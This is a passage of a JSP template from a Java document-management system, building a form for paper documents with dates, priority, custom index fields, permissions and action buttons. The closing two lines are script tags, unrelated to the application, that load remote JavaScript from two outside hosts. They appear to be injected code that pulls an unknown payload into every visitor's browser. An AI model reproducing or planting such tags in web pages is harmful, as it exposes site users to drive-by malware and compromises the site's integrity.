  </tr>
      <%
        }// End of New Document Selection
        else {%>
  <tr>
    <td class="formLabelSmall" width="25%" valign="top"><bean:message key="dms.label.document_name"/>:&nbsp;</td>
    <td class="formFieldSmall" width="450">
    <html:text property="documentName" size="25" maxlength="100" textOnly="true"/>
  </tr>
      <%}%>
    <%} //End of Document Section
      else {%>
  <tr>

      <%   //New Folder Selection%>
    <td class="formLabelSmallMan" width="25%"><bean:message key='dms.label.document_name'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%">
      <html:text property='documentName' size='40' maxlength='100' onkeyup='autoFillDocumentName(this.form)'/>
      <!--<html:text property='documentName' size='40' maxlength='100' />-->
    </td>
  </tr>
     <%}%>
  <!-- Comment items for both document and folder -->
  <%if (isPersonalFolder){%>
    <html:hidden property='effectiveStartDate'/>
    <html:hidden property='effectiveEndDate'/>
  <%} else {%>
    <tr>
      <td class="formLabelSmallMan" width="25%"><bean:message key='dms.label.effective_start_date'/>:&nbsp;</td>
      <td class="formFieldSmall" width="75%"><html:datepicker property='effectiveStartDate' defaultToday='true'/></td>
    </tr>
    <tr>
      <td class="formLabelSmall" width="25%"><bean:message key='dms.label.effective_end_date'/>:&nbsp;</td>
      <td class="formFieldSmall" width="75%"><html:datepicker property='effectiveEndDate'/></td>
    </tr>
  <%}%>
  <tr>
    <td class="formLabelSmall" width="25%"><bean:message key='common.label.priority'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%">
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_HIGH%>'><bean:message key='common.priority.label_3'/></html:radio>
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_MEDIUM%>'><bean:message key='common.priority.label_2'/></html:radio>
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_LOW%>'><bean:message key='common.priority.label_1'/></html:radio>

    </td>
  </tr>
  <tr>
    <td class="formLabelSmallMan" width="25%"><bean:message key='dms.label.reference_no'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%"><html:text property='referenceNo' size='20' maxlength='30' onchange="documentNameHasModified=(this.value==''?false:true)" /></td>
  </tr>
  <tr>
    <td class="formLabelSmall" width="25%" valign="top"><bean:message key='dms.label.description'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%"><html:textarea property='description' cols='40' rows='5' textlimit='255'/></td>
  </tr>

  <!-- Common Index Start -->
  <dms:commonIndex id='setting'>
  <tr>
    <td class="formLabelSmallMan" width="25%" valign="top"><dms:commonIndexName/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%"><dms:commonIndexValue/></td>
  </tr>
  </dms:commonIndex>
  <!-- Common Index End -->

  <!-- UDF for Document -->

  <% if (!Utility.isEmpty(udfDetailList))  {

        SysUserDefinedIndexDetail udfDetail = null;
        String classType = "";
        for ( int i=0; i< udfDetailList.size(); i ++) {
          udfDetail = (SysUserDefinedIndexDetail) udfDetailList.get(i);

          if ("Y".equals(udfDetail.getMandatory())) {
            classType = "formLabelSmallMan";
          }else{
            classType = "formLabelSmall";
          }

         String fieldValue = "";
         Timestamp realDateValue = null;
         for ( int j=0; j< docDetailList.size(); j ++){
             if (udfDetail.getID().equals(((DmsDocumentDetail)docDetailList.get(j)).getUserDefinedFieldDetailID())){
                if (SysUserDefinedIndexDetail.DATE_FIELD.equals(udfDetail.getFieldType())) {
                  fieldValue=TextUtility.formatTimestampToDate(((DmsDocumentDetail) docDetailList.get(j)).getDateValue());
                  realDateValue=((DmsDocumentDetail) docDetailList.get(j)).getDateValue();

                }else if (SysUserDefinedIndexDetail.NUMBER_FIELD.equals(udfDetail.getFieldType())) {
                  if (((DmsDocumentDetail)docDetailList.get(j)).getNumericValue() !=null ) {
                    fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getNumericValue().toString();
                  }
                }else{
                  fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getFieldValue();
                }
                break;
             }
         }
         if (!Utility.isEmpty(udfDetail.getFieldName())) {
           fieldValue = TextUtility.htmlEncode(fieldValue);         %>

    <tr>
      <input type="hidden" name="udfDetailID_<%= udfDetail.getID() %>">
      <input type="hidden" name="udfDetail_FieldType_<%= udfDetail.getFieldType() %>" >
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <td class="<%= classType %>" width='25%' valign='top'><%=udfDetail.getFieldName()%>:&nbsp;</td>

      <!--Cater for UDF Field Validation and Verification-->
      <input type="hidden" name="fieldID" value="<%=udfDetail.getID()%>"/>
      <input type="hidden" name="fieldName" value="<%=udfDetail.getFieldName()%>"/>
      <input type="hidden" name="fieldType" value="<%=udfDetail.getFieldType()%>"/>
      <%if ("Y".equals(udfDetail.getMandatory())) {%>
      <input type="hidden" name="fieldMandatory" value="true"/>
      <%}else{%>
      <input type="hidden" name="fieldMandatory" value="false"/>
      <%}%>

    <%}else{%>
      <td class="formLabelSmall" width='25%' valign='top'><%=udfDetail.getFieldName()%>:&nbsp;</td>
    <%}%>
      <td class="formFieldSmall" width='75%'>

    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <%

      String dateFormat = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT);
      if (SysUserDefinedIndexDetail.DATE_FIELD.equals(udfDetail.getFieldType())) {%>

      <input type="text" name="dummy_udfDetail_Date_<%= udfDetail.getID() %>" maxlength="10" size="10" value="<%=fieldValue%>"  onblur="return (fcheck_date(this, '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT).toLowerCase()%>'));"><a href="javascript:void(0);" onmouseover="if (timeoutId) clearTimeout(timeoutId);window.status='Show Calendar';return true;" onclick="gfPop.fPopCalendar(dummy_dp_temp<%=udfDetail.getID()%>,dp_temp<%=udfDetail.getID()%>,depRange,false,'<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT).toLowerCase()%>',true,false);"><html:img src='IconCalendar.gif'  imageName='imgCalendar_dummy_udfDetail_Date_<%=udfDetail.getID()%>' align='absmiddle' width='34' height='21' border='0' alt='' /></a>
      <input type="hidden" name="udfDetail_Date_<%=udfDetail.getID()%>" value="<%=realDateValue%>">
      <script>
        var dp_temp<%=udfDetail.getID()%>=document.maintDmsDocumentForm.elements["udfDetail_Date_<%=udfDetail.getID()%>"];
        var dummy_dp_temp<%=udfDetail.getID()%>=document.maintDmsDocumentForm.elements["dummy_udfDetail_Date_<%=udfDetail.getID()%>"];
      </script>

      <% } else if (SysUserDefinedIndexDetail.NUMBER_FIELD.equals(udfDetail.getFieldType()))  { %>
      <input type="FLOAT" name="udfDetail_Number_<%= udfDetail.getID() %>" value="<%= fieldValue %>">
      <% } else if (SysUserDefinedIndexDetail.STRING_FIELD.equals(udfDetail.getFieldType()))  { %>
      <input type="text" name="udfDetail_String_<%= udfDetail.getID() %>" value="<%=fieldValue%>" maxlength="100" size="40">
      <%}else if (SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE.equals(udfDetail.getFieldType())) {%>
        <%String[] valueAry = new com.dcivision.dms.core.DocumentOperationManager(sessionContainer, conn).getUDFOptionStringArray(udfDetail);%>
        <%if (!Utility.isEmpty(valueAry)){ %>
        <select name="udfDetail_SDB_<%= udfDetail.getID() %>">
        <%for (int x=0; x<valueAry.length; x++){
           String selected = "";
           if (TextUtility.htmlEncode(valueAry[x]).equals(fieldValue)){
              selected = "selected";
           }
           String value=valueAry[x];
           if (x==0) { value = "";}%>
        <option value="<%=value%>" <%=selected%>><%=valueAry[x]%>
        <%}%>
        </select>
        <%}%>
      <% } else {%>
        <%@ include file="CustUserDefinedType.jsp" %>

      <%}%>
    <%}else{%>
      <%=fieldValue%>
    <%}%>
      </td>
    </tr>
      <%}%>
    <%}%>
  <%}%>
<%if (SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(sCurFunctionCode) &&
      DmsDocument.PAPER_DOC_TYPE.equals(documentType) &&
      !GlobalConstant.NAV_MODE_EDIT.equals(maintDmsDocumentForm.getNavMode()) && !GlobalConstant.OP_MODE_UPDATE.equals(maintDmsDocumentForm.getOpMode()) &&
      !GlobalConstant.OP_MODE_UPDATE_NEW.equals(maintDmsDocumentForm.getOpMode()) &&
      !DmsOperationConstant.LIST_PAPER_DOCUMENT.equals(maintDmsDocumentForm.getParentModule())) {%>
<%
   pageContext.setAttribute("sysWorkflowCategoryID", com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PAPER_DOCUMENT);
 %>
<%@ include file="../workflow/IncludeWorkflowPage.jsp" %>
<%}%>
    <tr>
      <td colspan="2" align="center"><html:img src='Spacer.gif'  width='1' height='8'/></td>
    </tr>
  <!--TODO: Document Owner Handling-->
  <html:hidden property='ownerID'/>

  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>


</table>
</table>
</table>
</div>
<!-- End Basic Tab DIV -->
<!-- Permission Tab DIV-->
<%if (showPermissionFlage){%>
<%
  String permType = "RFIAENTCMDHZVLUSB";
%>
<script language="Javascript">
<!--
// Permission Labels
var permLabel = new Array();
<%for (int i = 0; i < permType.length(); i++) {
    String beanMsg = "dms.label.permission_" + permType.charAt(i);
%>permLabel['<%=permType.charAt(i)%>'] = "<bean:message key='<%=beanMsg%>'/>";
<%}%>
//-->
</script>
<div id="permissionTab" style="display:none">
<table bgcolor="#727272" height="450" width="780" cellpadding="0" cellspacing="1" border="0"><tr><td bgcolor="#FFFFFF" valign="top">
<table width="100%" cellpadding="2" cellspacing="2" border="0" align="left">
  <tr>
    <td class="formFieldSmall">
      <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td nowrap>
      <html:checkbox property='inheritanceFlag' value='Y'/>
      <bean:message key='user.label.inherit_from_parent'/>

          <layout:permissionSetup permissionType='<%=permType%>' labelPrefix='dms.label.permission_'/>
          <td nowrap colspan="3" >

          </td>
        </tr>
      </table><br>
    </td>
  </tr>

</table>
</td></tr></table>
</div>
<%}%>
<!-- End Permission Tab DIV-->
</td>
</tr>

<table align="center">

  <tr>
    <td colspan="2" align="center">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return OpSelfSave()"/>
      <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.more" onClick="return OpSelfSaveAndNew()"/>
      <%}%>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintDmsDocumentForm.getOpMode())) {%>
      <%
        String curFunctionCode=Utility.isEmpty(maintDmsDocumentForm.getCurFunctionCode())?"":("&curFunctionCode="+maintDmsDocumentForm.getCurFunctionCode());
        pageContext.setAttribute("curFunctionCode", curFunctionCode);
      %>
      <html:permissionButton label="common.label.edit" right='E' objectType='D' objectID='<%=((DmsDocument)currentDocument).getID()%>' link='<%="MaintDmsPaperDocument.do?navMode=E&ID=${maintDmsDocumentForm.ID}&parentID=${maintDmsDocumentForm.parentID}&rootID=${maintDmsDocumentForm.rootID}${curFunctionCode}"%>'/> 
    <%}%>

    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
    <%String objType = "D";
      Integer objID = rootFolder.getID();
      if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(sCurFunctionCode)) {
        objType = "";
        objID = null;
      }%>
      <html:permissionButton label="common.label.delete" right='D' objectType='<%=objType%>' objectID='<%=objID%>' onClick="return(OpDelete())"/>
    </logic:equal>
    <html:standardButton label="dms.label.list_paper_document" link="ListDmsPaperDocument.do"/>
    </td>
  </tr>
</table>
</td></tr></table>
<%if (showPermissionFlage){%>
<script language="Javascript">
<!--
initVariable(document.maintDmsDocumentForm);
//-->
</script>
<%}%>

<%}catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
}%>
</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>